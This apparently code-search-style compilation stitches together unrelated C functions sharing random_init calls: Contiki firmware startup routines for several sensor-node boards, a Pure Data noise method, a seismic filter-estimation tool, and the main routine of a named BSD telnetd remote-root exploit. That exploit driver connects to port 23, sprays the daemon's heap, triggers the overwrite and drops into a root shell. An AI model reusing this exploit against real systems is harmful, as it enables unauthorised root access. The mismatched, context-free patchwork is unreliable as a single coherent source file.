/*---------------------------------------------------------------------------*/ #if WITH_TINYOS_AUTO_IDS uint16_t TOS_NODE_ID = 0x1234; /* non-zero */ uint16_t TOS_LOCAL_ADDRESS = 0x1234; /* non-zero */ #endif /* WITH_TINYOS_AUTO_IDS */ int main(int argc, char **argv) { /* * Initalize hardware. */ msp430_cpu_init(); clock_init(); leds_init(); leds_on(LEDS_RED); uart1_init(BAUD2UBR(115200)); /* Must come before first printf */ #if WITH_UIP slip_arch_init(BAUD2UBR(115200)); #endif /* WITH_UIP */ leds_on(LEDS_GREEN); ds2411_init(); /* XXX hack: Fix it so that the 802.15.4 MAC address is compatible with an Ethernet MAC address - byte 0 (byte 2 in the DS ID) cannot be odd. */ ds2411_id[2] &= 0xfe; leds_on(LEDS_BLUE); xmem_init(); leds_off(LEDS_RED); rtimer_init(); /* * Hardware initialization done! */ #if WITH_TINYOS_AUTO_IDS node_id = TOS_NODE_ID; #else /* WITH_TINYOS_AUTO_IDS */ /* Restore node id if such has been stored in external mem */ node_id_restore(); #endif /* WITH_TINYOS_AUTO_IDS */ /* for setting "hardcoded" IEEE 802.15.4 MAC addresses */ #ifdef IEEE_802154_MAC_ADDRESS { uint8_t ieee[] = IEEE_802154_MAC_ADDRESS; memcpy(ds2411_id, ieee, sizeof(uip_lladdr.addr)); ds2411_id[7] = node_id & 0xff; } #endif random_init(ds2411_id[0] + node_id); leds_off(LEDS_BLUE); /* * Initialize Contiki and our processes. */ process_init(); process_start(&etimer_process, NULL); ctimer_init(); init_platform(); set_rime_addr(); cc2420_init(); { uint8_t longaddr[8]; uint16_t shortaddr; shortaddr = (rimeaddr_node_addr.u8[0] << 8) + rimeaddr_node_addr.u8[1]; memset(longaddr, 0, sizeof(longaddr)); rimeaddr_copy((rimeaddr_t *)&longaddr, &rimeaddr_node_addr); printf("MAC %02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x ", longaddr[0], longaddr[1], longaddr[2], longaddr[3], longaddr[4], longaddr[5], longaddr[6], longaddr[7]); cc2420_set_pan_addr(IEEE802154_PANID, shortaddr, longaddr); } cc2420_set_channel(RF_CHANNEL); printf(CONTIKI_VERSION_STRING " started. "); if(node_id > 0) { printf("Node id is set to %u.\n", node_id); } else { printf("Node id is not set.\n"); } /* printf("MAC %02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x", ds2411_id[0], ds2411_id[1], ds2411_id[2], ds2411_id[3], ds2411_id[4], ds2411_id[5], ds2411_id[6], ds2411_id[7]);*/ #if WITH_UIP6 memcpy(&uip_lladdr.addr, ds2411_id, sizeof(uip_lladdr.addr)); /* Setup nullmac-like MAC for 802.15.4 */ /* sicslowpan_init(sicslowmac_init(&cc2420_driver)); */ /* printf(" %s channel %u\n", sicslowmac_driver.name, RF_CHANNEL); */ /* Setup X-MAC for 802.15.4 */ queuebuf_init(); NETSTACK_RDC.init(); NETSTACK_MAC.init(); NETSTACK_NETWORK.init(); printf("%s %s, channel check rate %lu Hz, radio channel %u\n", NETSTACK_MAC.name, NETSTACK_RDC.name, CLOCK_SECOND / (NETSTACK_RDC.channel_check_interval() == 0 ? 1: NETSTACK_RDC.channel_check_interval()), RF_CHANNEL); process_start(&tcpip_process, NULL); printf("Tentative link-local IPv6 address "); { uip_ds6_addr_t *lladdr; int i; lladdr = uip_ds6_get_link_local(-1); for(i = 0; i < 7; ++i) { printf("%02x%02x:", lladdr->ipaddr.u8[i * 2], lladdr->ipaddr.u8[i * 2 + 1]); } printf("%02x%02x\n", lladdr->ipaddr.u8[14], lladdr->ipaddr.u8[15]); } if(!UIP_CONF_IPV6_RPL) { uip_ipaddr_t ipaddr; int i; uip_ip6addr(&ipaddr, 0xaaaa, 0, 0, 0, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ipaddr, &uip_lladdr); uip_ds6_addr_add(&ipaddr, 0, ADDR_TENTATIVE); printf("Tentative global IPv6 address "); for(i = 0; i < 7; ++i) { printf("%02x%02x:", ipaddr.u8[i * 2], ipaddr.u8[i * 2 + 1]); } printf("%02x%02x\n", ipaddr.u8[7 * 2], ipaddr.u8[7 * 2 + 1]); } #else /* WITH_UIP6 */ NETSTACK_RDC.init(); NETSTACK_MAC.init(); NETSTACK_NETWORK.init(); printf("%s %s, channel check rate %lu Hz, radio channel %u\n", NETSTACK_MAC.name, NETSTACK_RDC.name, CLOCK_SECOND / (NETSTACK_RDC.channel_check_interval() == 0? 1: NETSTACK_RDC.channel_check_interval()), RF_CHANNEL); #endif /* WITH_UIP6 */ #if !WITH_UIP && !WITH_UIP6 uart1_set_input(serial_line_input_byte); serial_line_init(); #endif #if PROFILE_CONF_ON profile_init(); #endif /* PROFILE_CONF_ON */ leds_off(LEDS_GREEN); #if TIMESYNCH_CONF_ENABLED timesynch_init(); timesynch_set_authority_level((rimeaddr_node_addr.u8[0] << 4) + 16); #endif /* TIMESYNCH_CONF_ENABLED */ #if WITH_UIP process_start(&tcpip_process, NULL); process_start(&uip_fw_process, NULL); /* Start IP output */ process_start(&slip_process, NULL); slip_set_input_callback(set_gateway); { uip_ipaddr_t hostaddr, netmask; uip_init(); uip_ipaddr(&hostaddr, 172,16, rimeaddr_node_addr.u8[0],rimeaddr_node_addr.u8[1]); uip_ipaddr(&netmask, 255,255,0,0); uip_ipaddr_copy(&meshif.ipaddr, &hostaddr); uip_sethostaddr(&hostaddr); uip_setnetmask(&netmask); uip_over_mesh_set_net(&hostaddr, &netmask); /* uip_fw_register(&slipif);*/ uip_over_mesh_set_gateway_netif(&slipif); uip_fw_default(&meshif); uip_over_mesh_init(UIP_OVER_MESH_CHANNEL); printf("uIP started with IP address %d.%d.%d.%d\n", uip_ipaddr_to_quad(&hostaddr)); } #endif /* WITH_UIP */ energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); watchdog_start(); print_processes(autostart_processes); autostart_start(autostart_processes); /* * This is the scheduler loop. */ #if DCOSYNCH_CONF_ENABLED timer_set(&mgt_timer, DCOSYNCH_PERIOD * CLOCK_SECOND); #endif /* watchdog_stop();*/ while(1) { int r; #if PROFILE_CONF_ON profile_episode_start(); #endif /* PROFILE_CONF_ON */ do { /* Reset watchdog. */ watchdog_periodic(); r = process_run(); } while(r > 0); #if PROFILE_CONF_ON profile_episode_end(); #endif /* PROFILE_CONF_ON */ /* * Idle processing. */ int s = splhigh(); /* Disable interrupts. */ /* uart1_active is for avoiding LPM3 when still sending or receiving */ if(process_nevents() != 0 || uart1_active()) { splx(s); /* Re-enable interrupts. */ } else { static unsigned long irq_energest = 0; #if DCOSYNCH_CONF_ENABLED /* before going down to sleep possibly do some management */ if(timer_expired(&mgt_timer)) { watchdog_periodic(); timer_reset(&mgt_timer); msp430_sync_dco(); #if CC2420_CONF_SFD_TIMESTAMPS cc2420_arch_sfd_init(); #endif /* CC2420_CONF_SFD_TIMESTAMPS */ } #endif /* Re-enable interrupts and go to sleep atomically. */ ENERGEST_OFF(ENERGEST_TYPE_CPU); ENERGEST_ON(ENERGEST_TYPE_LPM); /* We only want to measure the processing done in IRQs when we are asleep, so we discard the processing time done when we were awake. */ energest_type_set(ENERGEST_TYPE_IRQ, irq_energest); watchdog_stop(); /* check if the DCO needs to be on - if so - only LPM 1 */ if (msp430_dco_required) { _BIS_SR(GIE | CPUOFF); /* LPM1 sleep for DMA to work!. */ } else { _BIS_SR(GIE | SCG0 | SCG1 | CPUOFF); /* LPM3 sleep. This statement will block until the CPU is woken up by an interrupt that sets the wake up flag. */ } /* We get the current processing time for interrupts that was done during the LPM and store it for next time around. */ dint(); irq_energest = energest_type_time(ENERGEST_TYPE_IRQ); eint(); watchdog_start(); ENERGEST_OFF(ENERGEST_TYPE_LPM); ENERGEST_ON(ENERGEST_TYPE_CPU); } } return 0; }
uint32_t random_uint32(void) { random_init(); return random_next(); }
int main (int argc, char *argv[]) { char c; char * progname; char * dest; int i, j, fd, dots = 0; int popc; struct timeval start, cur; unsigned long long int g_pct, /* gaussian percentage */ g_all; /* gaussian overall */ fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n" "by zip, lorian, smiler and scut.\n\n"); progname = argv[0]; if (argc < 2) usage (progname); while ((c = getopt (argc, argv, "n:cf")) != EOF) { switch (c) { case 'n': num = atoi (optarg); break; case 'c': checkonly = 1; break; case 'f': force = 1; break; default: usage (progname); break; } } dest = argv[argc - 1]; if (dest[0] == '-') usage (progname); fd = net_connect (NULL, dest, 23, 20); if (fd <= 0) { fprintf (stderr, "failed to connect\n"); exit (EXIT_FAILURE); } random_init (); if (xp_check (fd) == 0 && force == 0) { printf ("aborting\n"); #ifndef DEBUG exit (EXIT_FAILURE); #endif } close (fd); if (checkonly) exit (EXIT_SUCCESS); fd = net_connect (NULL, dest, 23, 20); if (fd <= 0) { fprintf (stderr, "failed to connect the second time\n"); exit (EXIT_FAILURE); } printf ("\n#############################################################################\n\n"); printf ("ok baby, times are rough, we send %dmb traffic to the remote\n" "telnet daemon process, it will spill badly. but then, there is no\n" "other way, sorry...\n\n", mode); #ifdef DEBUG getchar (); #endif printf ("## setting populators to populate heap address space\n"); g_all = ((unsigned long long int)(pop / 2)) * ((unsigned long long int)(pop + 1)); g_pct = 0; printf ("## number of setenvs (dots / network): %d\n", pop); printf ("## number of walks (percentage / cpu): %Lu\n", g_all); printf ("##\n"); printf ("## the percentage is more realistic than the dots ;)\n"); printf ("\n"); printf ("percent |"); popc = pop / COL; for (i = pop / popc ; i >= 0 ; --i) printf ("-"); printf ("| ETA |\n"); gettimeofday (&start, NULL); for (walk = 0 ; walk < pop ; ++walk) { xp_pop (fd); g_pct += walk; if (walk % popc == 0) dots += 1; if (walk % 200 == 0) { int pct; float pct_f; unsigned long int diff; pct = (int) ((g_pct * 100) / g_all); pct_f = g_pct * 100; pct_f /= (float) g_all; /* calculate difference not caring about accuracy */ gettimeofday (&cur, NULL); diff = cur.tv_sec - start.tv_sec; printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ? "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f); for (j = 0 ; j < dots ; ++j) printf ("."); for ( ; j <= COL ; ++j) printf (" "); if (pct != 0) { diff = (int) ((((float)(100 - pct_f)) / (float) pct_f) * diff); printf ("| %02lu:%02lu:%02lu |", diff / 3600, (diff % 3600) / 60, diff % 60); } else { printf ("| --:--:-- |"); } fflush (stdout); } } printf ("\n\n"); printf ("## sleeping for 10 seconds to let the process recover\n"); sleep (10); #ifdef DEBUG getchar (); #endif /* return into 0x08feff0a */ xp (fd); sleep (1); printf ("## ok, you should now have a root shell\n"); printf ("## as always, after hard times, there is a reward...\n"); printf ("\n\ncommand: "); fflush (stdout); shell (fd); exit (EXIT_SUCCESS); }
static void clipnoise_float(t_clipnoise *x, t_floatarg f){ random_init(&x->x_rstate, f); }
int main(int argc, char* argv[]) { int n[SF_MAX_DIM], w[3], k[3], a[3], gap[3], center[3]; int n123, n1, dim, dim1, nk, i, j, ik, na; bool stp; float *data, d[3], o[3], *mask, vel, tgap, dabs, di; char varname[6], *lagfile; sf_filter aa, bb, ak; sf_file dat, pef, lag, known; sf_init(argc,argv); dat = sf_input("in"); pef = sf_output("out"); if (NULL == (lagfile = sf_getstring("lag"))) sf_error("Need lag="); /* output file for filter lags */ lag = sf_output(lagfile); sf_settype(lag,SF_INT); sf_putstring(pef,"lag",lagfile); dim = sf_filedims(dat,n); if (dim > 3) sf_error("Need 3 dimensions or less"); if (!sf_getint("dim",&dim1)) dim1=dim; /* PEF dimensionality */ if (dim1 > dim) dim1=dim; sf_putint(pef,"dim",dim1); if (!sf_getints("w",w,dim1)) sf_error("Need w="); /* window size */ for (j=0; j < dim1; j++) { if (w[j] > n[j]) w[j] = n[j]; } sf_putints(pef,"w",w,dim1); if (!sf_getints("a",a,dim1)) sf_error("Need a="); /* filter size */ sf_putints(pef,"a",a,dim1); if (!sf_getints("k",k,dim1)) { /* number of windows */ for (j=0; j < dim1; j++) { k[j] = 1.5 * n[j] / (w[j] - a[j] + 1.); } } sf_putints(pef,"k",k,dim1); if (!sf_getints("gap",gap,dim1)) { /* filter gap */ for (j=0; j < dim1; j++) { gap[j] = 0; } } sf_putints(pef,"gap",gap,dim1); if (!sf_getints("center",center,dim1)) { /* filter center */ for (j=0; j < dim1-1; j++) { center[j] = (a[j+1] > 1)? a[j]/2: 0; } center[dim1-1] = 0; } sf_putints(pef,"center",center,dim1); if (!sf_getbool("steepdip",&stp)) stp=false; /* if y, do steep-dip PEF estimation */ for (j=0; j < dim1; j++) { sprintf(varname,"d%d",j+1); if (!sf_histfloat(dat,varname,d+j)) sf_error("No %s= in input",varname); sprintf(varname,"o%d",j+1); if (!sf_histfloat(dat,varname,o+j)) sf_error("No %s= in input",varname); } if (stp) { if (!sf_getfloat ("vel",&vel)) vel=1.7; /* velocity for steep-dip decon */ if (!sf_getfloat("tgap",&tgap)) tgap=0.030; /* time gap for steep-dip decon */ bb = steep(dim1, w, a, d, vel, tgap); } else { bb = createhelix(dim1, w, center, gap, a); } sf_putints (lag,"n",w,dim1); bound (dim1, w, w, a, bb); for (i=0; i < bb->nh; i++) { bb->flt[i] = 2.; } print(dim1, w, center, a, bb); n123=n1=nk=1; for (j=0; j < dim; j++) { n123 *= n[j]; if (j < dim1) { n1 = n123; nk *= k[j]; } } na = bb->nh; sf_putint(pef,"n1",na); sf_putint(lag,"n1",na); for (j=0; j < dim; j++) { sprintf(varname,"n%d",j+2); sf_putint(lag,varname,1); if (j < dim1) { sf_putint(pef,varname,k[j]); sprintf(varname,"o%d",j+2); sf_putfloat(pef,varname,o[j]+0.5*w[j]*d[j]); sprintf(varname,"d%d",j+2); sf_putfloat(pef,varname,(n[j]-w[j])/(k[j]-1.)*d[j]); } else if (j == dim1) { sf_putint(pef,varname,n123/n1); } else { sf_putint(pef,varname,1); } } sf_intwrite(bb->lag,na,lag); data = sf_floatalloc(n123); aa = (sf_filter) sf_alloc(nk,sizeof(*aa)); if (NULL != sf_getstring ("mask")) { known = sf_input("mask"); mask = sf_floatalloc(n123); sf_floatread(mask,n123,known); sf_fileclose(known); } else { mask = NULL; } sf_floatread(data,n123,dat); dabs = fabsf(data[0]); for (i=1; i < n123; i++) { di = fabsf(data[i]); if (di > dabs) dabs=di; } random_init (2004); for (i=0; i < n123; i++) { data[i] = data[i]/dabs + 100.*FLT_EPSILON*(random0()-0.5); } for (ik=0; ik < nk; ik++) { ak = aa+ik; ak->nh = na; ak->flt = sf_floatalloc(na); for (i=0; i < na; i++) { ak->flt[i] = 0.; } ak->lag = bb->lag; ak->mis = bb->mis; } for (i=0; i < n123-n1+1; i += n1) { find_lopef (dim1, data+i, aa, k, n, w, mask); for (ik=0; ik < nk; ik++) { sf_floatwrite ((aa+ik)->flt,na,pef); } } exit(0); }
/*---------------------------------------------------------------------------*/ #if WITH_TINYOS_AUTO_IDS uint16_t TOS_NODE_ID = 0x1234; /* non-zero */ uint16_t TOS_LOCAL_ADDRESS = 0x1234; /* non-zero */ #endif /* WITH_TINYOS_AUTO_IDS */ int main(void) { /* Set stack overflow address for detecting overflow in runtime */ vAHI_SetStackOverflow(TRUE, ((uint32_t *)&heap_location)[0]); /* Initialize random with a seed from the SoC random generator. * This must be done before selecting the high-precision external oscillator. */ vAHI_StartRandomNumberGenerator(E_AHI_RND_SINGLE_SHOT, E_AHI_INTS_DISABLED); random_init(u16AHI_ReadRandomNumber()); clock_init(); rtimer_init(); #if JN516X_EXTERNAL_CRYSTAL_OSCILLATOR /* initialize the 32kHz crystal and wait for ready */ xosc_init(); /* need to reinitialize because the wait-for-ready process uses system timers */ clock_init(); rtimer_init(); #endif watchdog_init(); leds_init(); leds_on(LEDS_ALL); init_node_mac(); energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); node_id_restore(); #if WITH_TINYOS_AUTO_IDS node_id = TOS_NODE_ID; #endif /* WITH_TINYOS_AUTO_IDS */ /* for setting "hardcoded" IEEE 802.15.4 MAC addresses */ #ifdef IEEE_802154_MAC_ADDRESS { uint8_t ieee[] = IEEE_802154_MAC_ADDRESS; memcpy(node_mac, ieee, sizeof(uip_lladdr.addr)); node_mac[7] = node_id & 0xff; } #endif process_init(); ctimer_init(); uart0_init(UART_BAUD_RATE); /* Must come before first PRINTF */ #if NETSTACK_CONF_WITH_IPV4 slip_arch_init(UART_BAUD_RATE); #endif /* NETSTACK_CONF_WITH_IPV4 */ /* check for reset source */ if(bAHI_WatchdogResetEvent()) { PRINTF("Init: Watchdog timer has reset device!\r\n"); } process_start(&etimer_process, NULL); set_linkaddr(); netstack_init(); #if NETSTACK_CONF_WITH_IPV6 #if UIP_CONF_IPV6_RPL PRINTF(CONTIKI_VERSION_STRING " started with IPV6, RPL\n"); #else PRINTF(CONTIKI_VERSION_STRING " started with IPV6\n"); #endif #elif NETSTACK_CONF_WITH_IPV4 PRINTF(CONTIKI_VERSION_STRING " started with IPV4\n"); #else PRINTF(CONTIKI_VERSION_STRING " started\n"); #endif if(node_id > 0) { PRINTF("Node id is set to %u.\n", node_id); } else { PRINTF("Node id is not set.\n"); } #if NETSTACK_CONF_WITH_IPV6 memcpy(&uip_lladdr.addr, node_mac, sizeof(uip_lladdr.addr)); queuebuf_init(); #endif /* NETSTACK_CONF_WITH_IPV6 */ PRINTF("%s %s %s\n", NETSTACK_LLSEC.name, NETSTACK_MAC.name, NETSTACK_RDC.name); #if !NETSTACK_CONF_WITH_IPV4 && !NETSTACK_CONF_WITH_IPV6 uart0_set_input(serial_line_input_byte); serial_line_init(); #endif #if TIMESYNCH_CONF_ENABLED timesynch_init(); timesynch_set_authority_level((linkaddr_node_addr.u8[0] << 4) + 16); #endif /* TIMESYNCH_CONF_ENABLED */ #if NETSTACK_CONF_WITH_IPV4 process_start(&tcpip_process, NULL); process_start(&uip_fw_process, NULL); /* Start IP output */ process_start(&slip_process, NULL); slip_set_input_callback(set_gateway); { uip_ipaddr_t hostaddr, netmask; uip_init(); uip_ipaddr(&hostaddr, 172, 16, linkaddr_node_addr.u8[0], linkaddr_node_addr.u8[1]); uip_ipaddr(&netmask, 255, 255, 0, 0); uip_ipaddr_copy(&meshif.ipaddr, &hostaddr); uip_sethostaddr(&hostaddr); uip_setnetmask(&netmask); uip_over_mesh_set_net(&hostaddr, &netmask); /* uip_fw_register(&slipif);*/ uip_over_mesh_set_gateway_netif(&slipif); uip_fw_default(&meshif); uip_over_mesh_init(UIP_OVER_MESH_CHANNEL); PRINTF("uIP started with IP address %d.%d.%d.%d\n", uip_ipaddr_to_quad(&hostaddr)); } #endif /* NETSTACK_CONF_WITH_IPV4 */ watchdog_start(); NETSTACK_LLSEC.init(); #if NETSTACK_CONF_WITH_IPV6 start_uip6(); #endif /* NETSTACK_CONF_WITH_IPV6 */ /* need this to reliably generate the first rtimer callback and callbacks in other auto-start processes */ (void)u32AHI_Init(); start_autostart_processes(); leds_off(LEDS_ALL); main_loop(); return -1; }
/** * \brief Main routine for the cc2538dk platform */ int main(void) { nvic_init(); sys_ctrl_init(); clock_init(); dint(); /*Init Watchdog*/ watchdog_init();//Need to check the watchdog on 123gxl rtimer_init(); lpm_init(); gpio_init(); ioc_init(); leds_init(); fade(LEDS_YELLOW); button_sensor_init(); /* * Character I/O Initialisation. * When the UART receives a character it will call serial_line_input_byte to * notify the core. The same applies for the USB driver. * * If slip-arch is also linked in afterwards (e.g. if we are a border router) * it will overwrite one of the two peripheral input callbacks. Characters * received over the relevant peripheral will be handled by * slip_input_byte instead */ #if UART_CONF_ENABLE uart_init(0); uart_init(1); uart_set_input(SERIAL_LINE_CONF_UART, serial_line_input_byte); #endif #if USB_SERIAL_CONF_ENABLE usb_serial_init(); usb_serial_set_input(serial_line_input_byte); #endif serial_line_init(); /*Enable EA*/ eint(); INTERRUPTS_ENABLE(); fade(LEDS_GREEN); PRINTF("=================================\r\n"); PUTS(CONTIKI_VERSION_STRING); PRINTF("======================\r\n"); PRINTF("\r\n"); PUTS(BOARD_STRING); PRINTF("\r\n"); #ifdef NODEID node_id = NODEID; #ifdef BURN_NODEID node_id_burn(node_id); node_id_restore(); /* also configures node_mac[] */ #endif /* BURN_NODEID */ #else node_id_restore(); /* also configures node_mac[] */ #endif /* NODE_ID */ /* for setting "hardcoded" IEEE 802.15.4 MAC addresses */ #ifdef MAC_1 { uint8_t ieee[] = { MAC_1, MAC_2, MAC_3, MAC_4, MAC_5, MAC_6, MAC_7, MAC_8 }; memcpy(node_mac, ieee, sizeof(uip_lladdr.addr)); } #endif /* * Initialize Contiki and our processes. */ process_init(); process_start(&sensors_process, NULL); button_sensor_init(); process_start(&etimer_process, NULL); ctimer_init(); set_rime_addr(); printf("finish addr seting\r\n"); /* Initialise the H/W RNG engine. */ random_init(0); udma_init(); if(node_id > 0) { printf("Node id %u.\r\n", node_id); } else { printf("Node id not set.\r\n"); } #if WITH_UIP6 memcpy(&uip_lladdr.addr, node_mac, sizeof(uip_lladdr.addr)); /* Setup nullmac-like MAC for 802.15.4 */ queuebuf_init(); netstack_init(); PRINTF("CC2538 IEEE802154 PANID %d\r\n", IEEE802154_PANID); cc2538_rf_set_addr(IEEE802154_PANID); printf("%s/%s %lu %u\r\n", NETSTACK_RDC.name, NETSTACK_MAC.name, CLOCK_SECOND / (NETSTACK_RDC.channel_check_interval() == 0 ? 1: NETSTACK_RDC.channel_check_interval()), RF_CHANNEL); process_start(&tcpip_process, NULL); printf("IPv6 "); { uip_ds6_addr_t *lladdr; int i; lladdr = uip_ds6_get_link_local(-1); for(i = 0; i < 7; ++i) { printf("%02x%02x:", lladdr->ipaddr.u8[i * 2], lladdr->ipaddr.u8[i * 2 + 1]); } printf("%02x%02x\r\n", lladdr->ipaddr.u8[14], lladdr->ipaddr.u8[15]); } if(1) { uip_ipaddr_t ipaddr; int i; uip_ip6addr(&ipaddr, 0xfc00, 0, 0, 0, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ipaddr, &uip_lladdr); uip_ds6_addr_add(&ipaddr, 0, ADDR_TENTATIVE); printf("Tentative global IPv6 address "); for(i = 0; i < 7; ++i) { printf("%02x%02x:", ipaddr.u8[i * 2], ipaddr.u8[i * 2 + 1]); } printf("%02x%02x\r\n", ipaddr.u8[7 * 2], ipaddr.u8[7 * 2 + 1]); } #else /* WITH_UIP6 */ netstack_init(); PRINTF("CC2538 IEEE802154 PANID %d\r\n", IEEE802154_PANID); cc2538_rf_set_addr(IEEE802154_PANID); printf("%s %lu %u\r\n", NETSTACK_RDC.name, CLOCK_SECOND / (NETSTACK_RDC.channel_check_interval() == 0? 1: NETSTACK_RDC.channel_check_interval()), RF_CHANNEL); #endif /* WITH_UIP6 */ #if !WITH_UIP6 uart1_set_input(serial_line_input_byte); serial_line_init(); #endif #ifdef NETSTACK_AES_H #ifndef NETSTACK_AES_KEY #error Please define NETSTACK_AES_KEY! #endif /* NETSTACK_AES_KEY */ { const uint8_t key[] = NETSTACK_AES_KEY; netstack_aes_set_key(key); } /*printf("AES encryption is enabled: '%s'\n", NETSTACK_AES_KEY);*/ printf("AES encryption is enabled\r\n"); #else /* NETSTACK_AES_H */ printf("Warning: AES encryption is disabled\r\n"); #endif /* NETSTACK_AES_H */ #if TIMESYNCH_CONF_ENABLED timesynch_init(); timesynch_set_authority_level(rimeaddr_node_addr.u8[0]); #endif /* TIMESYNCH_CONF_ENABLED */ energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); simple_rpl_init(); /*Watch dog configuration*/ watchdog_periodic(); watchdog_start(); autostart_start(autostart_processes); //duty_cycle_scroller_start(CLOCK_SECOND * 2); #if IP64_CONF_UIP_FALLBACK_INTERFACE_SLIP && WITH_SLIP /* Start the SLIP */ printf("Initiating SLIP: my IP is 172.16.0.2...\r\n"); slip_arch_init(0); { uip_ip4addr_t ipv4addr, netmask; uip_ipaddr(&ipv4addr, 172, 16, 0, 2); uip_ipaddr(&netmask, 255, 255, 255, 0); ip64_set_ipv4_address(&ipv4addr, &netmask); } uart1_set_input(slip_input_byte); #endif /* IP64_CONF_UIP_FALLBACK_INTERFACE_SLIP */ fade(LEDS_ORANGE); /* * This is the scheduler loop. */ while(1) { uint8_t r; do { /* Reset watchdog and handle polls and events */ // printf("reset watchdog\r\n"); watchdog_periodic(); r = process_run(); } while(r > 0); /* We have serviced all pending events. Enter a Low-Power mode. */ lpm_enter(); } }
/*---------------------------------------------------------------------------*/ int main(void) { clock_init(); // 初始化 睡眠定时器 必要 soc_init(); // 还函数中启动了全局中断 可修改 rtimer_init(); // rtimer为定时器1 必要 /* Init LEDs here */ leds_init(); // 初始化LED 可修改 leds_off(LEDS_ALL); // 关闭所有LED 非必要 fade(LEDS_GREEN); // 绿色闪烁一下 非必要 /* initialize process manager. */ process_init(); // 任务初始化 必要 /* Init UART */ uart0_init(); // 初始化串口0,先用于调试,可修改 #if DMA_ON dma_init(); // 非必要 #endif #if SLIP_ARCH_CONF_ENABLE slip_arch_init(0); #else uart0_set_input(serial_line_input_byte); serial_line_init(); #endif fade(LEDS_RED); // 红色LED闪烁一下 非必要 // 打印若干提示信息 非必要 可修改 putstring("**************************************\r\n"); putstring(CONTIKI_VERSION_STRING "\r\n"); // 打印若干信息 putstring("Platform CC2530 NB\r\n"); switch(CHIPID) { case 0xA5: putstring("CC2530"); break; case 0xB5: putstring("CC2531"); break; case 0x95: putstring("CC2533"); break; case 0x8D: putstring("CC2540"); break; } putstring("-F"); switch(CHIPINFO0 & 0x70) { case 0x40: putstring("256,"); break; case 0x30: putstring("128,"); break; case 0x20: putstring("64,"); break; case 0x10: putstring("32,"); break; } puthex(CHIPINFO1 + 1); putstring("KB SRAM\r\n"); #if STARTUP_VERBOSE PUTSTRING("Net: "); // NETWORK名称 PUTSTRING(NETSTACK_NETWORK.name); PUTCHAR('\r');PUTCHAR('\n'); PUTSTRING("MAC: "); // MAC名称 PUTSTRING(NETSTACK_MAC.name); PUTCHAR('\r');PUTCHAR('\n'); PUTSTRING("RDC: "); // RDC名称 PUTSTRING(NETSTACK_RDC.name); PUTCHAR('\r');PUTCHAR('\n'); PUTSTRING("**************************************\r\n"); #endif watchdog_init(); // 初始化看门狗 /* Initialise the H/W RNG engine. */ random_init(0); // /* start services */ process_start(&etimer_process, NULL); // 启动etimer任务 ctimer_init(); // ctimer初始化 /* initialize the netstack */ netstack_init(); // NET协议栈初始化 set_rime_addr(); // 设置RIME地址,相当于设置IP地址 #if BUTTON_SENSOR_ON || ADC_SENSOR_ON process_start(&sensors_process, NULL); BUTTON_SENSOR_ACTIVATE(); ADC_SENSOR_ACTIVATE(); #endif #if UIP_CONF_IPV6 // 非常重要,启动TCPIP查询任务 memcpy(&uip_lladdr.addr, &rimeaddr_node_addr, sizeof(uip_lladdr.addr)); queuebuf_init(); process_start(&tcpip_process, NULL); #endif /* UIP_CONF_IPV6 */ #if VIZTOOL_CONF_ON process_start(&viztool_process, NULL); #endif energest_init(); // 能量估计初始化,但是该功能未被打开 ENERGEST_ON(ENERGEST_TYPE_CPU); // 该功能未被打开 autostart_start(autostart_processes); // 启动被定义为自动启动的任务 watchdog_start(); // 看门狗初始化 fade(LEDS_YELLOW); // 黄色LED闪烁,完成所有初始化工作 while(1) { do { /* Reset watchdog and handle polls and events */ watchdog_periodic(); // 喂狗操作 r = process_run(); } while(r > 0); #if SHORTCUTS_CONF_NETSTACK // 循环查询无线输入数据包长度 tcpip_process len = NETSTACK_RADIO.pending_packet(); if(len) { packetbuf_clear(); len = NETSTACK_RADIO.read(packetbuf_dataptr(), PACKETBUF_SIZE); if(len > 0) { packetbuf_set_datalen(len); NETSTACK_RDC.input(); } } #endif #if LPM_MODE // 该宏被定义为0,没有休眠功能,以下代码均无效 #if (LPM_MODE==LPM_MODE_PM2) SLEEP &= ~OSC_PD; /* Make sure both HS OSCs are on */ while(!(SLEEP & HFRC_STB)); /* Wait for RCOSC to be stable */ CLKCON |= OSC; /* Switch to the RCOSC */ while(!(CLKCON & OSC)); /* Wait till it's happened */ SLEEP |= OSC_PD; /* Turn the other one off */ #endif /* LPM_MODE==LPM_MODE_PM2 */ /* * Set MCU IDLE or Drop to PM1. Any interrupt will take us out of LPM * Sleep Timer will wake us up in no more than 7.8ms (max idle interval) */ SLEEPCMD = (SLEEPCMD & 0xFC) | (LPM_MODE - 1); #if (LPM_MODE==LPM_MODE_PM2) /* * Wait 3 NOPs. Either an interrupt occurred and SLEEP.MODE was cleared or * no interrupt occurred and we can safely power down */ __asm nop nop nop __endasm; if(SLEEPCMD & SLEEP_MODE0) { #endif /* LPM_MODE==LPM_MODE_PM2 */ ENERGEST_OFF(ENERGEST_TYPE_CPU); ENERGEST_ON(ENERGEST_TYPE_LPM); /* We are only interested in IRQ energest while idle or in LPM */ ENERGEST_IRQ_RESTORE(irq_energest); /* Go IDLE or Enter PM1 */ PCON |= PCON_IDLE; /* First instruction upon exiting PM1 must be a NOP */ __asm nop __endasm; /* Remember energest IRQ for next pass */ ENERGEST_IRQ_SAVE(irq_energest); ENERGEST_ON(ENERGEST_TYPE_CPU); ENERGEST_OFF(ENERGEST_TYPE_LPM); #if (LPM_MODE==LPM_MODE_PM2) SLEEPCMD &= ~SLEEP_OSC_PD; /* Make sure both HS OSCs are on */ while(!(SLEEPCMD & SLEEP_XOSC_STB)); /* Wait for XOSC to be stable */ CLKCONCMD &= ~CLKCONCMD_OSC; /* Switch to the XOSC */ /* * On occasion the XOSC is reported stable when in reality it's not. * We need to wait for a safeguard of 64us or more before selecting it */ clock_delay(10); while(CLKCONCMD & CLKCONCMD_OSC); /* Wait till it's happened */ } #endif /* LPM_MODE==LPM_MODE_PM2 */ #endif /* LPM_MODE */ } }
